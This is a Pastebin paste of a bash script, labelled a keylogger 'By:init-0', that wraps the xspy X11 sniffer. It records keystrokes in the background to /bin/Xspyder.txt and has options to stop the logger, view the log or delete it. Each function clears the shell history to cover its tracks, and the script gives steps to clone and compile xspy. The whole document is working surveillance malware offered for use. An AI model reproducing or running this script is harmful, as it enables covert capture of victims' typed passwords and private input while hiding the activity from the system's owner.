Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- ####----All these commands were tested on kali linux 2.0 debian jessie----######
- #### FUNCTION'S-----------------------####
- initiate() {
- clear;
- xspy >> /bin/Xspyder.txt &
- clear;
- history -c
- clear;
- exit;
- }
- stop() {
- clear;
- s0="$(jobs -l | grep "xspy" | cut -c2)"
- kill -9 %"$s0";
- clear;
- history -c
- exit;
- }
- log() {
- clear;
- less /bin/Xspyder.txt
- clear;
- history -c
- exit;
- }
- remove() {
- clear;
- rm -rf /bin/Xspyder.txt;
- clear;
- history -c
- exit;
- }
- #########-------------------------------------------------------####
- #### IS CHECKING IF XSPY IS INSTALLED ON SYSTEM------####
- test="$(xspy test |tr " " "\n" | grep "xspy" | tr -d ":")"
- echo $test
- if [ "$test" != "xspy" ]; then
- clear;
- echo
- echo " Please install the xspy : "
- echo "'git clone https://github.com/mnp/xspy.git'"
- echo " gcc -o xspy -lX11 xspy.c "
- echo
- exit
- fi
- ########--------------------------------------------------------####
- #### HELP and BANNER----------------------####
- if [ "$1" == "" ]; then
- clear;
- #echo " **XSPY script"
- printf "
- ,
- :: ::
- :: ::
- :: XSPY ::
- ': script. :
- :. :
- :' :: :: '
- .' ': :' '.
- :: :: :: ::
- : ::. ,:: ::
- :: ::' ,:' ::
- ::. ':' ..,.. ':' ,.::
- '''... '::,::::: : .:.:'''
- ''''....':::::',..''''
- .:::.....''':::::::'',...:::::.
- ':' '''''':.,:::::::.''''''' ':'
- ::' '::':::'::.. :'
- :: ,'::::::::::::.. ::
- '' ,..''::::::::::::::'''.. ':.
- :: ':' ::::::'''':::::: ': ::
- :. :: ::::::: ::::::: : '
- ' :: ::::::: ::::::: : '
- ' :: ::::::....:::::: ,: '
- ' :: :::::::::::::: ::
- :: '::::::::::' ::
- ': '''''''' ::
- :: ':
- ''' ':'
- '' ,''
- keylogger '' '' By:init-0
- ";
- echo -e "\n*Usage:\n\t-i --initialization\n\t-s --stop\n\t-l --log\n\t-r --remove\n"
- history -c
- exit;
- #########--------------------------------------------------------####
- #### ALGORITHM--------------------------####
- else
- a0000b=$1
- fi
- case $a0000b in
- -i) initiate; ;;
- -s) stop; ;;
- -l) log; ;;
- -r) remove; ;;
- esac
- exit;
- ##########--------------------------------------------------------####
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement